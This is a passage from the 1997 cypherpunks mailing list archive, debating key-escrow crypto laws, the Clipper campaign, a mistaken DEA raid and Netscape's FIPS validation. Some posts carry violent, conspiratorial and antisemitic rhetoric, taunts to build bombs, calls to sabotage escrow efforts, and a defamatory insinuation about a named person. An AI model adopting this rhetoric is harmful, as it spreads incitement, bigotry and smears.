used improperly!" (I mean, if businesses encrypt their internal 
communications unbreakably, things like civil rights suits and the 
Pinto 'smoking gun' will be harder to prove as well. )
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBmEKTKf8mIpTvjWEQJz6gCfeN4BV0d5J6TD6mvId2eeJ7/fth4AnilS
tF9NOBixl9726fSynKhxROrB
=qgVN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Fri, 12 Sep 1997 23:35:33 +0800
To: declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <v03007802b03f0695574a@[168.146.213.106]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:05 AM -0400 9/12/97, James S. Tyre wrote:
>Nice idea Declan, but what's "lots of folks"?  Rhetorical question --
>what percentage of the populace in the U.S. is even on the net?

Since you asked: about 20% of the US population has used the Internet or an
online service in the past 30 days, according to Mediamark Research Spring
97. Under 40% own a PC at home, about 40% use one at work.

Not a majority yet, but that's all on a rapidly accelerating curve.


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Sat, 13 Sep 1997 02:33:33 +0800
To: Tim May <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v03007808b03f19bad6c8@[168.146.213.106]>
Message-ID: <3.0.3.32.19970912111001.0324020c@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 10:07 AM 9/12/97 -0700, Tim May wrote:
>I'm just pointing out that we saw this situation several years ago 
with
>Clipper. The list was, predictably, sidetracked with literally 
thousands of
>suggestions about how best to recruit more public supporters. T-
shirts,
>gimmicks, and suggestions for songs about crypto, for getting t.v.
>producers to put crypto, pro-privacy themes in their t.v. shows, and 
so on.
>All pretty hopeless, wouldn't you say?

a)Snarf a gig or two of dirty pictures off of Usenet. (About 2 days 
of feed)
b)PGP them all.
c)Set up a 'free' porn site protected solely by AdultCheck, etc, 
which only costs $5.00/year to join. Or just host the site in Denmark 
and forget the 'protection'.
d)Make it REAL easy for ten million horny geeks to download and 
install PGP, so that they can look at the pictures. There's a PGP for 
Windows, right? With a double-click to install and a key-generation 
wizard. (PGP/Eudora, which is what I'm using, is entirely brain-dead 
to install.)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBmFeDKf8mIpTvjWEQI4twCgh9IRDeCmxItOE00gcXMXmVyX2u8An1Jl
L0f2AEOIQ2k8fC3L6+jCdrDg
=pJn4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Fri, 12 Sep 1997 23:33:47 +0800
To: Lizard <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional  rights
In-Reply-To: <3.0.32.19970911223056.00cd1da8@dnai.com>
Message-ID: <v03007803b03f0c14a1c4@[168.146.213.106]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:38 AM -0400 9/12/97, Lizard wrote:

><SETH>And here we see more of the cult's recruitment. Note how he always
>talks about the *GOVERNMENT* and the *IRS*. Why doesn't he talk about Pepsi
>or GM wanting the keys to your house? More of this 'government bad,
>business good' propaganda we've all grown so sick and tired of, being
>shoved down our throats. Small wonder this list has gone to hell!" </SETH>

Say what? Do you know how much companies pay for information about you as a
member of a demographic? (Think Equifax, Nielsen, or any mailing list
company.)

Corporations want as much info on you as possible-- luckily, the only
reason they want it is to sell you stuff, not to arrest you.


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 02:41:15 +0800
To: cypherpunks@Algebra.COM
Subject: More Drug Raids
Message-ID: <v03102801b03f3a4a6b4f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



 Every day there are news reports like this. Sometimes the targets of the
raid die, as in Malibu, sometimes they shoot back and kill some narcs,
sometimes the story gets downplayed, sometimes a new libertarian is made.

In this story, note especially the line about: "They were told that if they
refused, they would be put in handcuffs, a search warrant would be issued,
and their belongings would be tossed into the middle of their rooms."

In these Beknighted States of Amerika, any assertion of Constitutional
rights is met with toilet plungers.

Meanwhile, the LEAs scream for more helicopters, more drug-sniffing dogs,
more Bradley fighting vehicles, more Nomex ninja suits, more M-16s, and
more toilet plungers.

==begin article==

".c The Associated Press

LEE, Mass. (AP) - A federal drug agent publicly apologized Thursday for
raiding the home of a local building inspector on the mistaken suspicion he
was a marijuana trafficker. A spokesman for the couple said, however, they
were awaiting a personal apology and intended to press forward with
complaints.

"This is the all-American family. If it could happen to them, it could
happen to anybody," said state Rep. Chris Hodgkins, a relative who acted as
their spokesman Thursday.

"They are law-abiding citizens, and I'm very, very sorry this happened,"
said George Fester, the agent in charge of the federal Drug Enforcement
Administration's operations in New England.

Daniel Keenan, who serves as building inspector in Lee and neighboring
Stockbridge, said he was reading the newspaper in his front yard on Sept. 5,
with his son playing nearby, when six state and federal officers drove up in
separate cars. The agents told him they had reason to believe that 300 pounds
of marijuana had been in his garage.

Keenan said the agents didn't have a search warrant, but he signed a consent
form allowing the house and garage to be searched.

They were told that if they refused, they would be put in handcuffs, a search
warrant would be issued, and their belongings would be tossed into the middle
of their rooms, Hodgkins said. The agents claimed to have video showing a
drug delivery to the house.

As neighbors and the couple's three young children gathered to watch, the
agents used a drug-sniffing dog to search the house and garage. After a
fruitless two-hour search, they left. But the agents said they might return
for further interrogation.

Festa said an internal investigation was under way to determine just how the
Keenans came to be targeted. He said he was sending a regional supervisor to
talk to the family and also planned to make a personal visit to apologize.

Hodgkins acknowledged that two agents had returned earlier to the house to
discuss the raid with the family, but he said they refused to apologize in
front of the children.

"I want to know how they came to the conclusion this house was the house,
how they came to be so wrong," Keenan's wife, Laurie, said Thursday. "We're
concerned about the shadow of doubt this has created around us."

"We had these cowboys of DEA agents violating their rights," Hodgkins said.
"The kids were terrified. Everybody's still terrified."

He said he was writing complaints on behalf of the family to U.S. Attorney
Donald Stern and state Attorney General Scott Harshbarger.

AP-NY-09-11-97 1835EDT

==end article==






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nate Sammons <nate@infidels.org>
Date: Sat, 13 Sep 1997 00:04:06 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Different Ways Polly Klaas Could Have Been Killed
In-Reply-To: <9NaXce2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970912114333.22767L-100000@sulaco.proxicom.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> Did Pedophile Chris Lewis kill Polly Klaas?
> 

No.  A man named Richard Allen Davis killed her... see 
http://cnn.com/US/9609/27/davis.sentencing/index.html and any search
on "Poly Klaas" on cnn.com for more information.

-nate

--
  Nate Sammons                          nate@infidels.org
                                        http://sulaco.proxicom.com:7000/~nate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sat, 13 Sep 1997 03:12:55 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: [fwd][news] Netscape meets gov't security standard
In-Reply-To: <199709121854.OAA00854@users.invweb.net>
Message-ID: <341990E0.66EE0BE3@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> In <34196385.FB7F5278@netscape.com>, on 09/12/97
>    at 08:45 AM, Tom Weinstein <tomw@netscape.com> said:
>
>> For those of you interested, we are validated at level 2 when used on a
>> C2 OS, level 1 otherwise.  You can find more info at
>> http://home.netscape.com/assist/security/faqs/fips140-1.html
> 
> Exactly what C2 OS are we talking here?!? You are not backing M$
> marketing claims of C2 for NT are you???

Last I checked, NT was only C2 when networking was turned off.  Kind of
hard to use our products that way.  In particular, we were certified on
Solaris 2.4SE.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 13 Sep 1997 03:20:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The problem of playing politics with our constitutional    rights
Message-ID: <199709121906.MAA29004@f50.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>I'm just pointing out that we saw this situation several years ago with
>Clipper. The list was, predictably, sidetracked with literally 
thousands of
>suggestions about how best to recruit more public supporters. T-shirts,
>gimmicks, and suggestions for songs about crypto, for getting t.v.
>producers to put crypto, pro-privacy themes in their t.v. shows, and so 
on.
>All pretty hopeless, wouldn't you say?

Why do you say that?  Clipper was defeated.  People all over the net
united and opposed it.  Now there is this new threat, but at least
defeating Clipper bought some time.  There is no reason the same
thing can't happen again.

Sometimes I think cypherpunks *want* crypto to be outlawed.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Glenn Hauman <hauman@bb.com>
Date: Sat, 13 Sep 1997 00:28:41 +0800
To: Tim May <declan@well.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3418CDA3.2300@worldnet.att.net>
Message-ID: <v03007808b03f19bad6c8@[168.146.213.106]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:42 AM -0400 9/12/97, Tim May wrote:
>At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>
>>So, the last rhetorical question -- how do you convince someone who's
>>never used a browser (the vast majority of the voting populace, I'd
>>think) why crypto is important?
>
>This is back to where we were four and a half years ago, when Clipper was
>dropped on us. "How do we educate the users?"
>
>Trust me, it's a hopeless task. We don't have the advertising budgets, the
>staff for education, etc.
>
>And it ain't our responsibility to "save" the sheeple.

True, but if it's war, we gotta get more troops. I don't want to save them,
I want more troops on my side.

Education is good. Exploiting FUD is probably better. (DoJ's learned
something from dealing with Microsoft.) Luckily, it ain't that hard to whip
up Fear, Uncertainty and Doubt against the US Government.


Best-- Glenn Hauman, BiblioBytes
       http://www.bb.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 04:20:41 +0800
To: j.s.tyre@worldnet.att.net
Subject: Liberals and their tacit support for a national security state
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <v03102802b03f4a9a405b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:04 PM -0700 9/11/97, James S. Tyre wrote:
>> What we _can_ do is prepare for a long guerilla war with the bastards. 80%
>> of the population will willingly trade away their rights ("what have I got
>> to hide?") for more perceived security. Ben Franklin saw this 230 years
>> ago.
>>
>> It's war. Too late for a public relations campaign so that some future
>> Congress will slightly relax their laws.
>>
>>
>> And in a war, gotta break some eggs.
>>
>> --Tim May
>
>Mostly, I agree -- at least as far as Congress is concerned.  I place
>more hope in the courts, which could be because I've been practicing
>con. law for 19 years (many on f-c know this, but I do not assume that
>Tim knows much about me).

Thanks for providing a better picture. As we "cross-fertilize" these two
lists, Cypherpunks and Fight Censorship, it's apparent we share many of the
same views, but also have differing outlooks (in some collective sum of
views).

>But even though I work within the law, this may become a by any means
>necessary situation.  As I type, I'm remembering when the FBI raided my
>office about a dozen years ago, without so much as a warrant, thank you
>very much, accusing me of violating national security laws.
>Technically, they were right; legally, they were wrong, but they didn't
>give a shit.  Nice reminder (coming from a liberal, for those who've
>just been asking what liberals think) that a little civil disobedience
>now and again is not such a bad thing.

The "liberals" have been remarkable silent on this issue. Most of the
outrage is coming from militia movements (which, I can tell you, are being
briefed daily on this latest ZOG outrage), from anarchist libertarians, and
from conservative groups ("mark of the Beast" and all that).

Perhaps if it were J. Edgar Hoover doing this instead of Democrat Louis
Freeh, we wouldn't see "nominal" liberal Ron Dellums, amongst so many
others, standing shoulder to shoulder with the fascists. (Not that I ever
though Dellums was anything other than a fascist, mind you.)

Perhaps if it were former CIA director George Bush pushing this (in his
alternate universe second term) there would be more outrage from liberals.

I'm beginning to think Federal Bureau of Inquisition Director Unfreeh must,
as rumors have long had it, have the goods on Janet Reno and Bill Clinton.
Left to our imagination what these items may be.

How else to explain how a nominally "civil liberties President" is
presiding over the full transition to a national security state? This from
the draft-dodging, dope-smoking Oxford hippie who claimed he would be the
civil liberties President.

Nothing left to do but nuke the bastards, figuratively.

(I'd say "literally," but I don't have access to the suitcase nukes now
available in the Middle East. And, as we talked about in Cypherpunks, the
suitcase demolition charges are pretty good for knocking out dams and
closing mountain passes, but pretty crummy for leveling buildings several
hundred meters away.)

Monkeywrench GAK, put "Big Brother Inside" stickers on Brother's mandated
equipment, sabotage the corporate GAK efforts (we have supporters buried
deeply in nearly all crypto efforts at nearly all crypto and computer
companies, as anyone can confirm), and establish closer links to other
organizations opposed to the U.S. government.

This may sound radical, but look at the utter radicalism of banning private
communications, of felonizing the use of a damned crypto program, of
allowing intelligence agents to access medical files without court order,
and on and on and on.

Fuck them all. Lock and load. Rock and roll.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Sat, 13 Sep 1997 04:22:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: unSAFE won't pass?
In-Reply-To: <19970912172053.2605.qmail@hotmail.com>
Message-ID: <v03007809b03f58869b1d@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:20 AM -0800 9/12/97, John Smith wrote:
>So, does anybody besides me think these crypto bills aren't going
>anywhere?  I still think it's just a trick to get the original bill
>killed.  No way are most congresscritters going to vote for this
>with all the opposition that's coming out.  Just my opinion...
>

The govt never plays just one game.  This was for them a nice piece of
judo, taking the momentum built up by the lobbying for SAFE, and
redirecting it.

Clinton would veto a "good" bill, and I seriously doubt that anyone ever
thought a veto-proof "good" bill could be fashioned.  The status quo has
great inertia.  Presidents prefer not to veto bills if they don't have to,
though -- the most effective way to use a veto is to make the proponents of
legislation trip over their own feet in trying to get a compromise.

The administration also uses this process as a probe.  Drafts are floated,
and they get feedback.  They learn where the congressfolks really are, see
how effective the tried and true classified briefing is, see how effective
the opposition is.  Many positions can be tested with commitment to none
because there's "internal conflict."

It looks like no-lose for the administration.  If unSAFE passes, they're
ecstatic.  If nothing passes, nothing changes.  Export controls are still
there, and the "voluntary" recoverable crypto initiative continues apace.

Lee







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Sep 1997 04:18:56 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Re: The problem of playing politics with our constitutional     rights
In-Reply-To: <199709121906.MAA29004@f50.hotmail.com>
Message-ID: <v03102803b03f50ebbc6c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:06 PM -0700 9/12/97, John Smith wrote:
>>I'm just pointing out that we saw this situation several years ago with
>>Clipper. The list was, predictably, sidetracked with literally
>thousands of
>>suggestions about how best to recruit more public supporters. T-shirts,
>>gimmicks, and suggestions for songs about crypto, for getting t.v.
>>producers to put crypto, pro-privacy themes in their t.v. shows, and so
>on.
>>All pretty hopeless, wouldn't you say?
>
>Why do you say that?  Clipper was defeated.  People all over the net
>united and opposed it.  Now there is this new threat, but at least
>defeating Clipper bought some time.  There is no reason the same
>thing can't happen again.
>
>Sometimes I think cypherpunks *want* crypto to be outlawed.

Many of us spent much time fighting this. I don't recall hearing your name
in any of the efforts.

The effort this time around will better be spent deploying crypto widely,
not seeking to influence voters and citizen-units.

Part of why Clipper was not successful is the smear campaign we
successfully mounted against it, making it "uncool" to work on
Clipper-related projects, to use Clipper products, etc. Also, we used
anonymous remailers to great effect, distributing the contents of
Mykotronx's dumpsters to the world, showing their complicity, their
payoffs, their deals with government agencies, etc.

I count these as "monkeywrenchings," and I see them as different from
fruitless efforts to sway _public_ opinion.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Sep 1997 04:58:35 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Thanks from NIST
Message-ID: <Pine.GSO.3.95.970912133903.5321D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 12 Sep 1997 13:05:56 -0600
From: someone@somewhere.nist.gov
To: declan@well.com
Subject: Thanks

Thanks for the warning about SAFE. I was too suspicious of the way
government works to send any supporting mail and now you have confirmed my
reasoning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 03:09:01 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v03007834b03f19c50d45@[207.94.249.39]>
Message-ID: <199709121853.OAA00844@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007834b03f19c50d45@[207.94.249.39]>, on 09/12/97 
   at 09:11 AM, Bill Frantz <frantz@netcom.com> said:

>At 10:05 PM -0700 9/11/97, James S. Tyre wrote:
>>So, the last rhetorical question -- how do you convince someone who's
>>never used a browser (the vast majority of the voting populace, I'd
>>think) why crypto is important?

>When I walk through South-of-Market in San Francisco and hear people
>trading URL in conversation as the walk down the street and see URLs on
>TV, Billboards and even the side of busses, I wonder if this assumption
>is really true.

It is. The "Internet" is just a trendy buzz word. Little or no
understanding is behind it's use in conversation and advertizing. Just
take a look at how many clueless dolts use AOL & Comu$erve not to mention
the millions using Net$cape "The illusion of security poster child".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 03:11:10 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: [fwd][news] Netscape meets gov't security standard
In-Reply-To: <34196385.FB7F5278@netscape.com>
Message-ID: <199709121854.OAA00854@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <34196385.FB7F5278@netscape.com>, on 09/12/97 
   at 08:45 AM, Tom Weinstein <tomw@netscape.com> said:

>Vipul Ved Prakash wrote:
>> 
>> *** Netscape meets gov't security standard
>> 
>> Netscape Communications Corporation announced Monday the National
>> Institute of Standards and Technology and the Canadian Security
>> Establishment validated the security code in Netscape Communicator
>> client software and Netscape SuiteSpot server software as meeting
>> Federal Information Processing Standards Publications 140-1, "Security
>> Requirements For Cryptographic Modules." Netscape is the only Internet
>> software vendor to comply with the FIPS 140-1 security standard, the
>> company said. (PR Newswire) See full story at
>> http://www.infobeat.com/stories/cgi/story.cgi?id=4840046-429

>For those of you interested, we are validated at level 2 when used on a
>C2 OS, level 1 otherwise.  You can find more info at
>http://home.netscape.com/assist/security/faqs/fips140-1.html

Exactly what C2 OS are we talking here?!? You are not backing M$ marketing
claims of C2 for NT are you???

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 20:10:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: in defense on Lon Horiuchi
Message-ID: <199709121201.OAA03505@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman blathered:

> There are many issues one could legitimately argue regarding
> a policeman who accidentally kills a non-combatant bystander
> during a fight.  But comparing such a policemen to a 
> terrorist who deliberately targets non-combatants with a bomb
> is beyond the pale.  That, but for my interruption, this
> comparison would have passed unremarked among the cypherpunks
> crowd is damning.

As Tim and others have noted from time to time, one man's terrorist
is another man's freedom fighter.  A corollary to this is that one
man's policeman is another man's terrorist.  Calling Horiuchi - a
//trained sniper// - a policeman is stretching credulity.  Consider
too that the Weavers weren't threatening anyone when they were
initially attacked/ambushed by the Feds - so in what way were the 
Feds fulfilling a "policeman" role?

In any case, it wasn't really my intention to "compare" the deeds of
Horiuchi and McVeigh.  I was merely noting that the defense of
Horiuchi by Herr Direktor Freeh could have been used nearly
verbatim in McVeigh's behalf.  As you've pointed out, though, there 
/is/ that crucial difference though, isn't there?  One of them has a 
badge and gets paid by the taxpayers, which makes him a "policeman."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 05:04:49 +0800
To: cypherpunks@toad.com
Subject: WHO THE FUCK ARE YOU PEOPLE? / Re: The problem of playing politics with our constitutional rights
In-Reply-To: <Pine.GSO.3.95.970911214229.23060C-100000@well.com>
Message-ID: <34199FC3.3F34@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



J. Lasser wrote:
> In the wise words of David H Dennis: 

> > Libertarians 
> > Liberal
> 
> 'Liberal' 
>  _civil_ libertarians

  When you two 'wise' men are done playing kissy-face, why don't
you get together and build some bombs?
  Debating class is over, it's time to move into the Lab.

  If you guys are serious about what you are discussing, just wait
a couple of years and ask your jailer's opinion.
  In the end, he will have the last say, anyway.

Fuck You
~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 04:58:47 +0800
To: cypherpunks@toad.com
Subject: Self-Prohibition List
Message-ID: <3419A19C.1172@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



List of things you should prohibit yourself from putting in writing
in a GAK'ed Universe:

1. You're Jewish.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 04:52:41 +0800
To: cypherpunks@toad.com
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <v03007803b03f0c14a1c4@[168.146.213.106]>
Message-ID: <3419A33F.2C94@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Glenn Hauman wrote:
 
> Corporations want as much info on you as possible-- luckily, the only
> reason they want it is to sell you stuff, not to arrest you.

For now...

Fuck You
~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 03:37:24 +0800
To: Lizard <lizard@dnai.com>
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <3.0.3.32.19970912110426.0324099c@dnai.com>
Message-ID: <199709121916.PAA01381@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19970912110426.0324099c@dnai.com>, on 09/12/97 
   at 11:04 AM, Lizard <lizard@dnai.com> said:

>I wonder if the government could 'sell' GAK to liberals, at least the 
>dumber ones (not anyone on this list), by saying, "And we'll use it  to
>make sure that information collected about you on the web isn't  used
>improperly!" (I mean, if businesses encrypt their internal 
>communications unbreakably, things like civil rights suits and the  Pinto
>'smoking gun' will be harder to prove as well. )

I am sure there are a few Liberal stooges that have alread been sold that
bill of goods. Several names come to mind but I'll leave that as an
exercise for the reader. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 03:35:36 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: [fwd][news] Netscape meets gov't security standard
In-Reply-To: <341990E0.66EE0BE3@netscape.com>
Message-ID: <199709121918.PAA01411@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <341990E0.66EE0BE3@netscape.com>, on 09/12/97 
   at 01:58 PM, Tom Weinstein <tomw@netscape.com> said:

>William H. Geiger III wrote:
>> In <34196385.FB7F5278@netscape.com>, on 09/12/97
>>    at 08:45 AM, Tom Weinstein <tomw@netscape.com> said:
>>
>>> For those of you interested, we are validated at level 2 when used on a
>>> C2 OS, level 1 otherwise.  You can find more info at
>>> http://home.netscape.com/assist/security/faqs/fips140-1.html
>> 
>> Exactly what C2 OS are we talking here?!? You are not backing M$
>> marketing claims of C2 for NT are you???

>Last I checked, NT was only C2 when networking was turned off.  Kind of
>hard to use our products that way.  In particular, we were certified on
>Solaris 2.4SE.

Hehe :)

I just was checking. Last time I bothered to look at NT ratings not only
did it have to be disconnected from the network but all removable media
devices had to be removed also. :)))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 04:50:34 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: The problem of playing politics with our constitutional  rights
In-Reply-To: <199709121906.MAA29004@f50.hotmail.com>
Message-ID: <3419A7F0.1567@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Fuck You
~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 13 Sep 1997 03:10:36 +0800
To: David H Dennis <david@amazing.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <199709120505.WAA08152@remarkable.amazing.com>
Message-ID: <97Sep12.144325edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997, David H Dennis wrote:

> all this.  Crypto restrictions are natural to oppose in a Libertarian
> world, due to our fundemental distrust of government.  Where do they
> fit in a Liberal one?

Because of the infinitely recursive controls necessary to implement
liberal policy. 

Example: farm subsidies.

We must set a limit on the number of farmers and what they can produce.
Farmers keep records.  We need GAK to insure the farmers (or their buyers,
etc) can't cheat and grow and sell more grain than their quota.  They pass
laws on farmers, then the wholesalers, then the grocery stores, and
finally need to track your purchases (to prevent you from going to a
roadside market).

Example: Government paid-for health care

Your patient records should be confidential, but the government might
require a physical to pay for an office visit, or say one is redundant, so
they must be able to see what you are being treated for.  Your doctor
(maybe with your cooperation) may be attempting to defraud the system.

Liberalism (or socialism and faschism to avoid confusion) is the use of
government force to obtain economic ends.  When a freely done trade
becomes a crime, they need enforcement powers to track down criminals.

Even in the milder form where they simply tax everyone into poverty and
then give subsidies to make those they choose rich, they need enforcement
powers to prevent people from avoiding the government imposed poverty.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 12 Sep 1997 12:59:30 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Taxless society concerns
In-Reply-To: <199709120403.XAA00606@smoke.suba.com>
Message-ID: <Pine.LNX.3.93.970912143744.2505H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 11 Sep 1997, snow wrote:

[...]

> > How is such care going to be payed for? 
> 
> 	Well, if their family/children do it, they will pay necessary costs.
> Otherwise I guess they will just have to save up for it. 

What about orfins?  I dout thay would be able to save up money,  what
about thouse whos emplyers where not willing to pay them more then what is
needed to live to the next week?

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
